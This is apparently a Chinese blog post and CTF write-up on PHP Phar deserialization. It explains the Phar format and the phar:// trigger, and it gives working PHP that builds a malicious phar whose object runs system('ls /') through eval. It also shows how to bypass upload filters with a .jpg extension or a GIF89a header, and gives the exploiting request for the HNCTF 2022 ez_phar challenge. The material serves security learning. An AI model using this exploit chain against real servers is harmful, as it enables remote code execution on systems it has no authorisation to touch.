PHP Phar反序列化

PHP Phar反序列化

昨天讲了PHP中的session反序列化,今天就再浅谈一下Phar反序列化

Phar反序列化可以做到的花样有很多,这篇博客就简单说一说当作笔记

一、Phar 相关基础

Phar是将php文件打包而成的一种压缩文档,类似于Java中的jar包,在PHP 5.3 或更高版本中默认开启。它有一个特性就是phar文件会以序列化的形式储存用户自定义的meta-data。以扩展反序列化漏洞的攻击面,配合phar://协议使用。

所有PHAR文件都使用.phar作为文件扩展名,PHAR格式的归档需要使用自己写的PHP代码。

PHAR文件的本质同就是一种特殊的压缩文件,所以将后缀改为zip后是可以解压的。读取phar文件所用到的伪协议phar://是可以直接打开压缩文件的。 PHAR文件默认状态是只读的,使用Phar文件不需要任何的配置。但我们在构筑脚本时需要生成phar文件,此时应在php.ini中关闭phar.readonly把前面的;注释符删掉,还有下面有一个phar.require_hash = On,前面的注释符也删了

image-20250731200133970

Phar 文件结构

  1. 文件标识头 格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
  2. 压缩文件信息 phar本质上是一种压缩文件,那就有存储文件的地方。第二段a manifest describing the contents,这是存放压缩文件权限、属性等信息的地方,这部分还会以序列化的形式存储用户自定义的meta-data,是反序列化的攻击点。
  3. 压缩文件内容 存放phar内的文件,这部分无关紧要,有东西存进去就好。
  4. 数字签名 放在文件末尾,格式如下

img就是这个文件由四部分组成,每种文件都是有它独特的一种文件格式的,有首有尾。而__HALT_COMPILER();就是相当于图片中的文件头的功能,没有它,图片无法解析,同样的,没有文件头,php识别不出来它是phar文件,也就无法起作用。

生成 Phar 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject{
}

$phar = new Phar("phar.phar"); //实例一个phar对象供后续操作
$phar -> startBuffering(); //开始缓冲对phar的写操作
$phar -> setStub("<?php __HALT_COMPILER();?>"); //设置识别phar拓展的标识stub
$o = new TestObject();
$o -> data = 'Hello yuhua';
$phar -> setMetadata($o); //将自定义的归档元数据meta-data存入manifest
$phar -> addFromString("test.txt","test"); //添加要压缩的文件
//签名自动计算
$phar -> stopBuffering(); //停止缓冲对phar的写操作
?>

编译后可以看到看到文件头是<?php __halt_compiler(); ?>以及中间的部分内容是序列化的形式存在于这个文件中。
image-20250731214254239

该方法在文件系统函数(file_exists()is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

https://paper.seebug.org/680/得知:有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过`phar://`伪协议解析phar文件时,都会将`meta-data`进行反序列化,测试后受影响的函数如下:(仿照大佬的图)
img
这里使用file_get_contents()函数来进行实验。

1
2
3
4
5
6
7
8
9
10
<?php 
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}

$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>

d130df2ea6f293d25886ad3925700485

析构方法被调用,注意此处 weakup 等方法不会被调用

这样就可以在不调用unserialize()的情况下进行反序列化操作

__HALT_COMPILER();必须大写,小写不会被识别出来。导致无法进行反序列化操作。

因为考虑到在上传的时候,可能只会允许上传图片(jpg/png/gif),上传时将test.phar修改文件扩展名为jpg也可以进行反序列化,不会影响解析。

如果对文件头有识别的,也可以使用GIF文件头GIF89a来绕过检测,具体操作与文件上传部分细节类似,不再赘述。

二、Phar 反序列化漏洞利用

既然很多函数可以触发phar反序列化,那么接下来就要实际利用该漏洞

漏洞利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤

接下来一个题目为例

[HNCTF 2022 WEEK3]ez_phar

题目代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php
show_source(__FILE__);
class Flag{
public $code;
public function __destruct(){
// TODO: Implement __destruct() method.
eval($this->code);
}
}
$filename = $_GET['filename'];
file_exists($filename);
?>
upload something

可以看到在源码中有file_exists()函数,这个函数在上面受影响的图表中有

题目提示upload something,所以扫描一下,有upload.php

image-20250731223936073

然后我们用这个代码生成一个.phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Flag{
public $code = "system('ls /');"; //输入要执行的命令
public function __destruct(){
// TODO: Implement __destruct() method.
eval($this->code);
}
}

$phar = new Phar("2.phar"); //实例一个phar对象供后续操作
$phar -> startBuffering(); //开始缓冲对phar的写操作
$phar -> setStub("<?php __HALT_COMPILER();?>"); //设置识别phar拓展的标识stub
$o = new Flag();
$phar -> setMetadata($o); //将自定义的归档元数据meta-data存入manifest
$phar -> addFromString("test.txt","test"); //添加要压缩的文件
//签名自动计算
$phar -> stopBuffering(); //停止缓冲对phar的写操作
?>

然后运行之后在当前目录下生成了一个2.phar文件,将这个文件改名为2.jpg上传,然后返回主页面,传入?filename=phar://./upload/2.jpg
image-20250731224955433

ok,有了,然后直接获取flag就行
image-20250731225125470

参考博客

https://www.freebuf.com/articles/web/305292.html

https://blog.csdn.net/q20010619/article/details/120833148


PHP Phar反序列化
http://example.com/2025/07/31/PHP-Phar反序列化/
作者
yuhua
发布于
2025年7月31日
许可协议